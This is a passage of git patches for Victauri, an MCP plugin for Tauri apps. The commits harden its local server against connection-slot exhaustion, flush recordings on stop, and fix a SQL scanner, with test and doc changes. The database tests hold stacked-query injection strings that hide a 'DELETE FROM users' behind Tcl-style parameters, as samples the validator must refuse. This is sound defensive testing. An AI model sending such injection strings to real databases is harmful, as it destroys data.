change. From d246eef4bee7e6e83e1d94f5680a23973f2d76e3 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 00:03:24 +1000 Subject: [PATCH 091/167] fix(server): refused requests close their connection; release notes from CHANGELOG + SHA256SUMS Round-4 C4 / B-L1: a request the guards refuse (401/403/415/429) left its keep-alive connection idle until the 30 s header deadline, so cheap refused requests (a web page's no-cors fetches across *.localhost names, or a local script) could park all 256 connection slots and lock the agent out. An outermost layer now adds `Connection: close` to every refusal. End-to-end test over serve_hardened + the full app: failed first (connection still open after 3 s), passes now. Release (lens F L6): the GitHub Release body is the version's CHANGELOG section plus a MIGRATION link, with the commit list folded underneath (was 53 raw commit subjects), and the binaries ship with SHA256SUMS. Dry-run of the step against the real CHANGELOG; actionlint clean. Docs: security.md (auth-disabled shares one rate bucket; refused connections close; what disable_tools covers; measured wide-row residual), CHANGELOG, CLAUDE.md current state. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- .github/workflows/release.yml | 26 ++++++++++- CHANGELOG.md | 13 ++++-- CLAUDE.md | 20 ++++++++- crates/victauri-plugin/src/mcp/hardening.rs | 50 +++++++++++++++++++++ crates/victauri-plugin/src/mcp/server.rs | 4 ++ docs/src/security.md | 22 ++++++++- 6 files changed, 127 insertions(+), 8 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 822d3a63..21cf584a 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -368,8 +368,27 @@ jobs: CHANGELOG=$(git log --pretty=format:"- %s (%h)" "${PREVIOUS_TAG}..${CURRENT_TAG}") fi - # Write to file to handle multiline - echo "$CHANGELOG" > /tmp/changelog.txt + # Release notes = this version's CHANGELOG.md section (what users need: breaking + # changes, migration, security fixes), then the commit list. The raw commit subjects + # alone were chores and merges with no migration guidance. + VER="${CURRENT_TAG#v}" + awk -v hdr="## [$VER]" 'index($0, hdr) == 1 { f = 1; next } f && /^## \[/ { exit } f' \ + CHANGELOG.md > /tmp/section.txt + { + if [ -s /tmp/section.txt ]; then + cat /tmp/section.txt + else + echo "::warning::CHANGELOG.md has no '## [$VER]' section; release notes list commits only" >&2 + fi + echo + echo "See [MIGRATION.md](https://github.com/${GITHUB_REPOSITORY}/blob/${CURRENT_TAG}/MIGRATION.md) for upgrade steps. Binaries: verify with \`sha256sum -c SHA256SUMS\`." + echo + echo "
    Commits" + echo + echo "$CHANGELOG" + echo + echo "
    " + } > /tmp/changelog.txt echo "previous_tag=$PREVIOUS_TAG" >> "$GITHUB_OUTPUT" - name: Download all artifacts @@ -396,6 +415,9 @@ jobs: chmod +x release-assets/victauri-watchdog-macos-x86_64 || true chmod +x release-assets/victauri-watchdog-macos-aarch64 || true + # Checksums for every released binary (users verify with `sha256sum -c SHA256SUMS`). + (cd release-assets && sha256sum -- * > SHA256SUMS && cat SHA256SUMS) + ls -la release-assets/ - name: Create GitHub Release diff --git a/CHANGELOG.md b/CHANGELOG.md index 8ec33797..d95c12ea 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -108,7 +108,11 @@ app probes are bounded; page-callable window queries are budgeted; drain-waterma races fixed; the main-thread lock stays held while an abandoned closure still runs; fault, contract and page-load maps are capped; panicked background tasks are reported finished; WGC capture runs on one COM thread with a bounded wait; `Locator::check()` works on ARIA checkboxes; -`victauri check` lists ghost names; tool-reference, MIGRATION and README corrections. +`victauri check` lists ghost names; a request the guards refuse (401/403/415/429) closes its +connection, so refused requests (a web page's no-cors fetches, a local script) cannot park the +256 connection slots; GitHub Release notes are the version's CHANGELOG section (not raw commit +subjects) and the binaries ship with `SHA256SUMS`; tool-reference, MIGRATION, README and security +docs corrections. **Disproved in round 4** (tested, not defects): eval ids leaking via `.caller` (V8 blocks the second hop); `PRAGMA quick_check` overrunning its deadline on a 1.47 GB database (3.8 s); discovery @@ -116,8 +120,11 @@ dirs left behind on a clean exit (removed on 0.8.8 and 0.9.0); Windows child pro Victauri's sockets (tokio/mio sockets are not inheritable: close seen in µs, port rebindable); Tauri lacking `#[tauri::command(rename)]` (supported since tauri-macros 2.6). -**Residual, measured:** a 256-column × 1 MB `query_db` row raises the host's peak memory by -~0.5 GB for that one call (at most two run at once; the result is still capped at 5 MB). +**Residuals, measured:** a 256-column × 1 MB `query_db` row raises the host's peak memory by +~0.5 GB for that one call (at most two run at once; the result is still capped at 5 MB). With +`auth_disabled()` there is no token to separate the agent from other local callers, so a local +`/health` flood can still rate-limit the agent (with auth on, the default, it cannot: verified on +4DA, 100,547 × 429 while every agent call succeeded). ### Security — adversarial audit round 3 (every finding reproduced before its fix) diff --git a/CLAUDE.md b/CLAUDE.md index 698be107..29b040e1 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -186,7 +186,25 @@ Standalone binary. Monitors the MCP server health endpoint. ## Current State (2026-09-27) -### v0.9.0 — two audit rounds + a one-time `#[non_exhaustive]` break (release-prepped, NOT published) +### v0.9.0 round 4 — adversarial audit + live E2E of the candidate (2026-09-28/29) + +Eight red-team lenses against candidate `43b7561` (incl. the CLI/local-attacker lens round 3 +never got back, and a regression hunt over every round-3 fix), then live runs on the demo, the +gauntlet (Windows, real display) and 4DA on its real 1.47 GB DB, plus a before/after baseline +against the operator's 0.8.8 4DA. **No Critical/High.** 14 Mediums confirmed (4 live, 2 by V8 +PoC) and fixed in four isolated lanes with fail-first tests, then re-verified live — notably: a +synthetic `pagehide` wiped the agent's evidence and killed capture; the agent key leaked via +`Function.caller`; a `/health` flood made the bridge/watchdog call a healthy app dead; three +round-3 CHANGELOG claims were false (key unreadable, reload abort unforgeable, scanner never drops +a statement); **apps on rusqlite > 0.32 could not add the plugin at all** (now a `>=0.32, <0.41` +range with fail-closed setup across every version — `SetupOutcome` in database.rs; a required CI +job tests the newest end). Also verified against rmcp 3.5.0 / tauri 2.12.0 (tauri 2.12's default +static VC runtime breaks *other* crates' doctests in a Windows workspace — upstream). +Disproved with evidence (don't re-raise): eval-id `.caller` leak, quick_check overrun, discovery +dirs left on clean exit, Windows socket inheritance by child processes, missing tauri `rename`. +PR #73 (backend logs) is deferred to 0.9.1. Report: https://claude.ai/artifact/Wfmx9d2khAuCesB7SFu8ge + +### v0.9.0 — rounds 1-2 + a one-time `#[non_exhaustive]` break (release-prepped, NOT published) Triggered by an in-the-wild failure: a 4DA session ran `invoke_command quit_app` through the bridge, the app quit, and the agent was told **"backend not reachable"** — the bridge had diff --git a/crates/victauri-plugin/src/mcp/hardening.rs b/crates/victauri-plugin/src/mcp/hardening.rs index e9196d0c..438886f8 100644 --- a/crates/victauri-plugin/src/mcp/hardening.rs +++ b/crates/victauri-plugin/src/mcp/hardening.rs @@ -169,6 +169,29 @@ pub struct SplitRateLimit { /// Axum middleware applying [`SplitRateLimit`]: 429 with `Retry-After: 1` when the caller's /// bucket is empty. +/// Close the connection after a guard refuses a request (401 / 403 / 415 / 429). +/// +/// A refused request costs the server microseconds, but its keep-alive connection then held one +/// of the capped connection slots until the header deadline. A web page (cheap no-cors fetches +/// across `*.localhost` names) or a local process could park every slot that way and lock the +/// agent out (round-4 C4). Callers that are refused get nothing from keeping the connection. +pub async fn close_on_rejection(request: Request, next: Next) -> Response { + let mut response = next.run(request).await; + if matches!( + response.status(), + StatusCode::UNAUTHORIZED + | StatusCode::FORBIDDEN + | StatusCode::UNSUPPORTED_MEDIA_TYPE + | StatusCode::TOO_MANY_REQUESTS + ) { + response.headers_mut().insert( + axum::http::header::CONNECTION, + axum::http::HeaderValue::from_static("close"), + ); + } + response +} + pub async fn split_rate_limit( State(limits): State>, request: Request, @@ -376,6 +399,33 @@ mod tests { assert_eq!(resp.status(), StatusCode::PAYLOAD_TOO_LARGE); } + /// Round-4 C4: a guard-refused request left its connection open and idle until the header + /// deadline, so a page (no-cors fetches across `*.localhost` names) or a local process could + /// park every connection slot with requests that were refused in microseconds. + #[tokio::test] + async fn a_refused_request_closes_its_connection() { + let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + tokio::spawn(serve_hardened( + listener, + test_app(Arc::new(RateLimiterState::new(100))), + ServeLimits { + max_connections: 8, + header_read_timeout: Duration::from_secs(30), + }, + std::future::pending::<()>(), + )); + let mut conn = tokio::net::TcpStream::connect(addr).await.unwrap(); + conn.write_all( + b"GET /health HTTP/1.1\r\nHost: 127.0.0.1\r\nSec-Fetch-Site: cross-site\r\n\r\n", + ) + .await + .unwrap(); + let reply = read_to_close(&mut conn, Duration::from_secs(3)).await; + let reply = String::from_utf8_lossy(&reply); + assert!(reply.starts_with("HTTP/1.1 403"), "{reply}"); + } + /// Audit N3, end to end: a page-initiated `GET /health` is refused and spends no token. #[tokio::test] async fn the_server_refuses_browser_requests_before_rate_limiting() { diff --git a/crates/victauri-plugin/src/mcp/server.rs b/crates/victauri-plugin/src/mcp/server.rs index ab3d8514..583e65cd 100644 --- a/crates/victauri-plugin/src/mcp/server.rs +++ b/crates/victauri-plugin/src/mcp/server.rs @@ -274,6 +274,10 @@ fn build_app_full_inner( .layer(axum::middleware::from_fn(crate::auth::security_headers)) .layer(axum::middleware::from_fn(crate::auth::origin_guard)) .layer(axum::middleware::from_fn(crate::auth::dns_rebinding_guard)) + // Outermost: every refusal above (and the rate limiter's 429) also closes its connection. + .layer(axum::middleware::from_fn( + super::hardening::close_on_rejection, + )) } /// Refuse a browser-originated request body that is not JSON (415). diff --git a/docs/src/security.md b/docs/src/security.md index 78c3591c..c40f6613 100644 --- a/docs/src/security.md +++ b/docs/src/security.md @@ -139,11 +139,17 @@ A token-bucket rate limiter prevents abuse, even from authenticated clients: that cannot authenticate (a local flood, a web page hammering `/health`) cannot exhaust the agent's budget - **Bucket refill:** Continuous (not windowed) -- **Response on limit:** HTTP 429 Too Many Requests +- **Response on limit:** HTTP 429 Too Many Requests (Victauri's own clients treat a `429` from + `/health` as "alive", so a flood never makes them report a running app as down) +- **With `auth_disabled()`** there is no token to tell the agent apart, so every caller shares the + public bucket and a local process can rate-limit the agent. Keep auth on (the default) wherever + other local software runs. The server speaks HTTP/1.1 only, closes a connection whose request head has not arrived within 30 s, reads each request body under a 30 s / 2 MiB deadline (after authentication — an -unauthenticated body is never buffered), and accepts at most 256 concurrent connections. +unauthenticated body is never buffered), and accepts at most 256 concurrent connections. A request +the guards refuse (401 / 403 / 415 / 429) also closes its connection, so refused requests cannot +park connection slots. ## Privacy Layer @@ -216,6 +222,12 @@ Disabled tools: - Are omitted from tool discovery listings - Cannot be re-enabled at runtime +A bare tool name disables every action of that tool **and** its MCP resource +(`logs` → `victauri://ipc-log`, `window` → `victauri://windows`). A single action is disabled as +`tool.action`, e.g. `inspect.get_styles` (the capability spelling `inspect.styles` works too). +Disabling `screenshot` also refuses `animation scrub capture=true` and `trace`, which capture the +window. An entry that matches no tool, action or capability is logged as a warning at startup. + ### Output Redaction Automatically scrub sensitive data from all tool responses: @@ -286,6 +298,12 @@ All HTTP responses include security headers: - **Malicious code on the same machine with the auth token** — If an attacker has the token and localhost access, they have the same privileges as the legitimate agent. This is inherent to any localhost-based development tool. - **Memory inspection of the process** — A sufficiently privileged attacker on the same machine could read process memory directly. Victauri does not add encryption at rest for in-process data. - **Prompt injection via captured content** — Victauri cannot stop a prompt-injection payload embedded in app-sourced data (DOM, logs, DB rows) from influencing the agent it feeds. This is an operational risk you mitigate through agent configuration — see [Untrusted Content & Prompt Injection](#untrusted-content--prompt-injection) below. +- **Transient memory of a very wide query** — `query_db` caps a result at 5 MB, 256 columns and + 1 MB per cell, but SQLite materialises a row before it is charged: one `SELECT` of 256 × 1 MB + columns raised a debug host's peak working set by about 0.5 GB for that call (measured). At most + two database calls run at once. Every tighter bound either refuses legitimate wide or large-cell + queries or uses SQLite's process-global heap limit, which would also throttle the app's own + database, so the bound stays where it is. - **Path-resolution TOCTOU by a same-privilege local attacker** — `read_app_file` and `query_db` validate a path is contained within an allowed root (lexically and by canonical containment), then open the canonical validated path. An attacker who already has *write access inside that root* could, in a microsecond race, swap a validated regular file for a symlink/junction after the canonicalize and before the open. This requires local filesystem write access at the app's own privilege — such an attacker can read those files directly anyway, so Victauri adds no privilege. The blocking file/DB IO runs on a worker thread (so a swapped FIFO can't stall the server), and the canonical-path open closes the trivial (non-racing) version. A fully race-free fix needs OS-level `openat2(RESOLVE_BENEATH)` / `O_NOFOLLOW`, which is out of scope. ## Recommendations From b5f04c0f128aae2847d0d990be7d12fb76405dd7 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 00:29:57 +1000 Subject: [PATCH 092/167] fix(recording): `recording stop` flushes every window before stopping Found by the live 4DA dogfood run (`recording_lifecycle`: "should capture events, got 0", 1 of 3 full-suite runs; passes alone). `stop` did not flush: whatever the page captured since the background drain's last 1 s tick was dropped, and under a busy UI (4DA stalls) no drain ran at all inside the window. Pre-existing (identical on 43b7561). `stop` now drains every window into the recording first, through the same routine and per-window watermark lock as the background drain (no double recording), bounded to 3 s in total. A window that cannot answer in time is reported in `final_flush_unreachable` instead of silently losing its events. Test fails first (event missing from the stopped session), passes now; plugin suite 1,041 passed / 0 failed. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- CHANGELOG.md | 2 +- crates/victauri-plugin/src/mcp/drain_tests.rs | 23 +++++++ crates/victauri-plugin/src/mcp/mod.rs | 61 +++++++++++++++++-- 3 files changed, 81 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d95c12ea..0f7149bc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -108,7 +108,7 @@ app probes are bounded; page-callable window queries are budgeted; drain-waterma races fixed; the main-thread lock stays held while an abandoned closure still runs; fault, contract and page-load maps are capped; panicked background tasks are reported finished; WGC capture runs on one COM thread with a bounded wait; `Locator::check()` works on ARIA checkboxes; -`victauri check` lists ghost names; a request the guards refuse (401/403/415/429) closes its +`victauri check` lists ghost names; `recording stop` flushes every window first (events captured since the last 1 s drain tick were dropped; a window that cannot answer within 3 s is reported in `final_flush_unreachable`); a request the guards refuse (401/403/415/429) closes its connection, so refused requests (a web page's no-cors fetches, a local script) cannot park the 256 connection slots; GitHub Release notes are the version's CHANGELOG section (not raw commit subjects) and the binaries ship with `SHA256SUMS`; tool-reference, MIGRATION, README and security diff --git a/crates/victauri-plugin/src/mcp/drain_tests.rs b/crates/victauri-plugin/src/mcp/drain_tests.rs index 6b9475a4..0c75ec52 100644 --- a/crates/victauri-plugin/src/mcp/drain_tests.rs +++ b/crates/victauri-plugin/src/mcp/drain_tests.rs @@ -368,3 +368,26 @@ async fn replay_runs_each_call_in_the_window_that_recorded_it() { ); assert_eq!(page.invoked_in("main_cmd").len(), 2); } + +// Round 4: `recording stop` did not flush, so anything the page captured since the last 1 s drain +// tick was dropped — under a busy UI no drain ran at all before the stop (4DA dogfood: +// "recording lifecycle should capture events, got 0"). +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn stop_flushes_events_the_drain_has_not_read_yet() { + let state = state(); + let page = PageBridge::new(&state); + let bridge: Arc = Arc::new(page.clone()); + let h = VictauriMcpHandler::new(state.clone(), Arc::clone(&bridge)); + let _ = call(&h, "recording", json!({"action": "start"})).await; + page.push(&console_json( + "logged just before stop", + chrono::Utc::now().timestamp_millis(), + )); + let r = call(&h, "recording", json!({"action": "stop"})).await; + let body = text(&r); + assert!( + body.contains("logged just before stop"), + "the stopped session must include events captured before the stop: {body}" + ); + assert!(!state.recorder.is_recording()); +} diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 1bb65d6f..71a5ae9c 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -280,6 +280,9 @@ pub(crate) const COMMAND_TIMINGS_CAP: usize = 1024; /// Upper bound for an injected `fault` delay (matches the `wait_for` ceiling). const MAX_FAULT_DELAY_MS: u64 = 120_000; + +/// Total time `recording stop` spends on its final flush of every window. +const FINAL_FLUSH_BUDGET: std::time::Duration = std::time::Duration::from_secs(3); /// How often a slow eval re-checks that its target window still exists (first check after /// one interval, so fast evals never pay for it). const EVAL_WINDOW_WATCH_INTERVAL: std::time::Duration = std::time::Duration::from_secs(1); @@ -2215,10 +2218,35 @@ impl VictauriMcpHandler { Err(e) => tool_error(e.to_string()), } } - RecordingAction::Stop => match self.state.recorder.stop() { - Some(session) => json_result(&session), - None => tool_error("no recording is active"), - }, + RecordingAction::Stop => { + // Final flush first: the background drain reads each window about once a second, so + // anything the page captured since its last tick would otherwise be lost — and under + // a busy UI no drain may have run at all. Best-effort and bounded; a window that + // cannot answer in time is REPORTED, never silently dropped. + let unreachable = if self.state.recorder.is_recording() { + self.final_recording_flush().await + } else { + Vec::new() + }; + match self.state.recorder.stop() { + Some(session) => { + if unreachable.is_empty() { + json_result(&session) + } else { + let mut value = + serde_json::to_value(&session).unwrap_or(serde_json::Value::Null); + if let Some(obj) = value.as_object_mut() { + obj.insert( + "final_flush_unreachable".to_string(), + serde_json::json!(unreachable), + ); + } + json_result(&value) + } + } + None => tool_error("no recording is active"), + } + } RecordingAction::Checkpoint => { // checkpoint_id is optional — auto-generate a short id when the // caller just wants a positional marker. The id is echoed back in @@ -4892,6 +4920,31 @@ impl VictauriMcpHandler { } } + /// Drain every window into the active recording one last time before `recording stop`, + /// within [`FINAL_FLUSH_BUDGET`] in total. Returns the windows that could not be read in time + /// (their not-yet-drained events are missing from the stopped session). + async fn final_recording_flush(&self) -> Vec { + let Ok(labels) = self.bridge.try_list_window_labels() else { + return vec!["(window list unavailable: UI thread busy)".to_string()]; + }; + let mut pending = labels.clone(); + let flushed = tokio::time::timeout(FINAL_FLUSH_BUDGET, async { + for label in &labels { + if crate::mcp::server::drain_window_into_recording(&self.state, &self.bridge, label) + .await + .is_some() + { + pending.retain(|l| l != label); + } + } + }) + .await; + if flushed.is_err() { + tracing::debug!("recording stop: final flush ran out of time"); + } + pending + } + async fn eval_with_return_timeout( &self, code: &str, From 31442cb72714c5ba3be038fa3773b299be8eeb6c Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 00:52:25 +1000 Subject: [PATCH 093/167] =?UTF-8?q?fix:=20round-4=20regression=20review=20?= =?UTF-8?q?=E2=80=94=20shadow-DOM=20clicks,=20Tcl=20SQL=20params,=20bundle?= =?UTF-8?q?d=20opt-out,=20timeouts?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit An independent lens over the round-4 fix commits (no Critical/High): - interact click refused EVERY element inside an open shadow root as "covered by ": elementFromPoint retargets to the host and Node.contains never crosses a shadow boundary. Synthetic clicks since the actionability check existed, trusted clicks since round 4. Reproduced live on WebView2; the hit test now descends into open shadow roots and compares along the composed tree (bridge checkActionable + trusted click probe). jsdom test fails first. - scan_sql missed SQLite's Tcl-style parameters (`$a(...)`, `:a(`, `@a(`, `#a(` are one token up to `)`/whitespace), so `SELECT $a(') ; DELETE ...'` counted as one statement. Checked against SQLite; test fails first. (UX guard only: the authorizer + READ_ONLY still held.) - The rusqlite range made the plugin's `bundled` land on the APP's rusqlite. `bundled` is now its own default feature (`bundled-sqlite`); `default-features = false, features = ["sqlite"]` keeps a system SQLite / SQLCipher (verified from a consumer crate). - victauri-test gave tool calls without `timeout_ms` 60 s while the server allows 300 s (a retry could re-run a call still executing): now the server ceiling + headroom. - VS Code counted a 429 on the authenticated /info probe as success; it retries, then reports. - Garbled trusted-click error message, stray doc comment, an XHR log entry lost after a throwing open(), and a spurious up-to-15 ms wait between main-thread round trips on Windows. Gate: fmt, clippy (default / no-default / release) clean; 1,904 passed / 0 failed. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_018pb3JpJchvYeFMN32yBJmr --- CHANGELOG.md | 12 ++++ Cargo.toml | 4 +- MIGRATION.md | 20 +++++- crates/victauri-plugin/Cargo.toml | 8 ++- crates/victauri-plugin/src/bridge.rs | 14 +++- crates/victauri-plugin/src/database.rs | 60 ++++++++++++++++ crates/victauri-plugin/src/js_bridge.rs | 30 ++++++-- crates/victauri-plugin/src/mcp/hardening.rs | 4 +- crates/victauri-plugin/src/mcp/helpers.rs | 15 ++-- .../tests/trusted_input_probes.rs | 70 +++++++++++++++++++ crates/victauri-test/src/client.rs | 21 +++--- editors/vscode/src/client.ts | 34 +++++++-- editors/vscode/test/discovery.test.ts | 9 ++- examples/demo-app/Cargo.toml | 2 +- 14 files changed, 273 insertions(+), 30 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0f7149bc..ffe64d92 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -114,6 +114,18 @@ connection, so refused requests (a web page's no-cors fetches, a local script) c subjects) and the binaries ship with `SHA256SUMS`; tool-reference, MIGRATION, README and security docs corrections. +**From the regression review of the round-4 fixes** (an independent lens over the fix commits; +no Critical/High): `interact click` refused every element inside an open shadow root as +"covered by " — synthetic clicks since the actionability check was added, trusted clicks +since round 4 (reproduced live on WebView2; the hit test now descends into open shadow roots and +compares along the composed tree); the quote-aware SQL scanner missed SQLite's Tcl-style +parameters (`$a(')`… is one token) and passed one stacked query the old checker refused; the +rusqlite range forced `bundled` onto the app's rusqlite (now a separate default feature, +`bundled-sqlite`, with an opt-out); `victauri-test` cut tool calls without `timeout_ms` off at +60 s while the server allows 300 s; the VS Code extension counted a 429 on the authenticated probe +as success; plus a garbled error message, a stray doc comment, a lost XHR log entry after a +throwing `open()`, and a spurious up-to-15 ms wait between main-thread round trips on Windows. + **Disproved in round 4** (tested, not defects): eval ids leaking via `.caller` (V8 blocks the second hop); `PRAGMA quick_check` overrunning its deadline on a 1.47 GB database (3.8 s); discovery dirs left behind on a clean exit (removed on 0.8.8 and 0.9.0); Windows child processes inheriting diff --git a/Cargo.toml b/Cargo.toml index 6afb35ff..0d31bd4a 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -78,4 +78,6 @@ tracing = "0.1" uuid = { version = "1", features = ["v4"] } chrono = { version = "0.4", features = ["serde"] } url = "2" -rusqlite = { version = ">=0.32, <0.41", features = ["bundled", "hooks", "limits"] } +# A range, so an app's own rusqlite is reused (links = "sqlite3" allows one per build). `bundled` +# is NOT forced here: victauri-plugin turns it on through its `bundled-sqlite` default feature. +rusqlite = { version = ">=0.32, <0.41", features = ["hooks", "limits"] } diff --git a/MIGRATION.md b/MIGRATION.md index 42a1310a..f166432a 100644 --- a/MIGRATION.md +++ b/MIGRATION.md @@ -95,17 +95,31 @@ implementations, so existing impls compile unchanged — `try_get_window_states` database calls are already running. "database not found" also covers a path resolving outside the allowed roots. - **rusqlite**: `victauri-plugin` now accepts rusqlite `>=0.32, <0.41` instead of exactly 0.32, - so an app on a newer rusqlite can add it (cargo unifies onto the app's version). Nothing to do. + so an app on a newer rusqlite can add it (cargo unifies onto the app's version). Because it is + the SAME rusqlite, the plugin's default `bundled-sqlite` feature also compiles SQLite into the + app's rusqlite. An app that links a system SQLite or SQLCipher keeps its own with + `victauri-plugin = { version = "0.9", default-features = false, features = ["sqlite"] }`. - **Discovery (`victauri-test`, CLI):** when several Victauri apps run and nothing selects one, `VictauriClient::discover()` and the CLI commands return an error naming each app instead of silently connecting to :7373. Select with `VICTAURI_APP=` (or `VictauriClient::discover_app(Some(..))`, or `--app` on any CLI command) or `VICTAURI_PORT`. `victauri bridge --app` matches the identifier exactly (it used to fall back to a substring). - **`VICTAURI_AUTH_TOKEN` without `VICTAURI_PORT`** is sent only to the running app whose own - discovery token matches it; otherwise the client refuses and asks for `VICTAURI_PORT`. + discovery token matches it; otherwise the client refuses and asks for `VICTAURI_PORT` — set it + when the app's discovery directory is not visible to the client (the app runs in WSL or a + container, or elevated on Windows). - `is_alive()` (and the bridge / watchdog health checks) treat a `429` from `/health` as alive. - Trusted input is refused unless focus actually landed on the element (`type_text`, - `press_key`), or the click point is actionable and inside the window's client area (`click`). + `press_key` — a non-focusable child of a `contenteditable` editor is refused; target the editor + itself), or the click point is actionable and inside the window's client area (`click`). +- `interact click` (synthetic and trusted) now reaches elements inside OPEN shadow roots (web + components); it used to refuse every one of them as "covered by ". +- `victauri-test`: a tool call without `timeout_ms` now waits up to the server's 300 s ceiling + (+40 s) instead of 60 s — the server still answers as soon as the call finishes; this only + stops the client abandoning (and a retry re-running) a call the app is still executing. +- VS Code: an explicitly set `victauri.port` (even `7373`) now selects that port instead of being + ignored in favour of discovery; a `429` on the authenticated `/info` probe is reported (the + token was probably not accepted) instead of showing "connected". - `route add` refuses `delay_ms` above 120000; `read_app_file` gives up after 15 s and refuses a non-regular file; at most 4 app-state probes, 4 file reads and 4 page-originated window queries run at once (the next one is told "busy"). diff --git a/crates/victauri-plugin/Cargo.toml b/crates/victauri-plugin/Cargo.toml index 46e407c1..d9d9bb5f 100644 --- a/crates/victauri-plugin/Cargo.toml +++ b/crates/victauri-plugin/Cargo.toml @@ -46,8 +46,14 @@ hyper-util = { version = "0.1", features = ["server-auto", "tokio", "service", " rusqlite = { workspace = true, optional = true } [features] -default = ["sqlite"] +default = ["sqlite", "bundled-sqlite"] +# `query_db` / `introspect db_health`. sqlite = ["dep:rusqlite"] +# Compile SQLite into the binary (rusqlite `bundled`). Because cargo unifies the plugin's +# rusqlite with the app's, this also switches the APP's rusqlite to bundled SQLite. An app that +# links a system SQLite or SQLCipher keeps its own with +# `default-features = false, features = ["sqlite"]`. +bundled-sqlite = ["sqlite", "rusqlite?/bundled"] [build-dependencies] tauri-plugin = { version = "2", features = ["build"] } diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 6aa4be29..817202b2 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -388,7 +388,16 @@ where // (it started, then outlived that caller's timeout + grace). Wait for it — bounded by this // caller's own deadline, so callers never stack into N * timeout — before putting a second // round trip in flight beside it. + // The previous closure usually finishes a few instructions after its caller was answered + // (its in-flight guard drops just after the result is sent), so yield briefly before + // falling back to sleeping — a 2 ms sleep costs up to ~15 ms on Windows' timer. + let mut spins = 0u32; while gate.in_flight.load(std::sync::atomic::Ordering::Acquire) != 0 { + if spins < 256 { + spins += 1; + std::thread::yield_now(); + continue; + } let remaining = deadline.saturating_duration_since(std::time::Instant::now()); if remaining.is_zero() { return Err(format!( @@ -851,7 +860,10 @@ fn client_point_verdict(x: f64, y: f64, client_w: i32, client_h: i32) -> Result< Ok(()) } else { Err(format!( - "refusing trusted click: ({x}, {y}) lies outside the window's content area ({client_w}x{client_h} physical px), so it would land on the title bar, a caption button or the border. Scroll the element into view and retry, or omit `trusted` to use a synthetic click." + "refusing trusted click: ({x}, {y}) lies outside the window's content area \ + ({client_w}x{client_h} physical px), so it would land on the title bar, a caption \ + button or the border. Scroll the element into view and retry, or omit `trusted` to \ + use a synthetic click." )) } } diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index 9beae3ab..779a8b96 100644 --- a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -397,6 +397,40 @@ fn scan_sql(sql: &str) -> SqlScan { let mut chars = sql.chars().peekable(); while let Some(c) = chars.next() { match c { + // A named parameter (`$a`, `:a`, `@a`, `#a`). SQLite's tokenizer also accepts a + // Tcl-style `$a(…)` suffix and reads it as part of the SAME token up to `)` or + // whitespace, so a quote inside it does not open a string. Treating that quote as + // one let `SELECT $a(') ; DELETE …'` pass as a single statement (round-4 review). + '$' | ':' | '@' | '#' + if chars + .peek() + .is_some_and(|n| n.is_alphanumeric() || *n == '_' || *n == '$') => + { + cleaned.push(c); + masked.push(c); + while let Some(&n) = chars.peek() { + if n.is_alphanumeric() || n == '_' || n == '$' || (n == ':' && c == '$') { + chars.next(); + cleaned.push(n); + masked.push(n); + } else { + break; + } + } + if chars.peek() == Some(&'(') { + while let Some(&n) = chars.peek() { + if n.is_whitespace() { + break; + } + chars.next(); + cleaned.push(n); + masked.push(if n == '(' || n == ')' { n } else { '_' }); + if n == ')' { + break; + } + } + } + } '-' if chars.peek() == Some(&'-') => { for n in chars.by_ref() { if n == '\n' { @@ -1860,6 +1894,32 @@ mod tests { } } + /// Round-4 review: `SQLite` reads a Tcl-style parameter `$a(...)` (also `:a(`, `@a(`, `#a(`) + /// as ONE token up to `)` or whitespace, so a quote inside it is not a string — the quote- + /// aware scanner treated it as one and let a real second statement through. Verified + /// against `SQLite`: `SELECT $a(') ; DELETE FROM users --'` is two statements. + #[test] + fn tcl_style_parameters_do_not_hide_a_stacked_statement() { + for sql in [ + "SELECT $a(') ; DELETE FROM users --'", + "SELECT :a(') ; DELETE FROM users --'", + "SELECT @a(') ; DELETE FROM users --'", + "SELECT #a(') ; DELETE FROM users --'", + ] { + let err = validate_query(sql).expect_err(sql); + assert!(err.contains("stacked queries"), "{sql}: {err}"); + } + for sql in [ + "SELECT * FROM t WHERE id = :id", + "SELECT * FROM t WHERE a = $a AND b = @b", + "SELECT $a(x) FROM t", + "SELECT '$a(' || x FROM t", + "SELECT '#1;2' AS s", + ] { + assert_eq!(validate_query(sql), Ok(()), "must allow: {sql}"); + } + } + /// R4-DB1: the other direction — a comment marker inside a string made the old stripper /// swallow a REAL second statement, so it passed the stacked-query check. #[test] diff --git a/crates/victauri-plugin/src/js_bridge.rs b/crates/victauri-plugin/src/js_bridge.rs index d95587f2..8f6c9ceb 100644 --- a/crates/victauri-plugin/src/js_bridge.rs +++ b/crates/victauri-plugin/src/js_bridge.rs @@ -302,6 +302,25 @@ 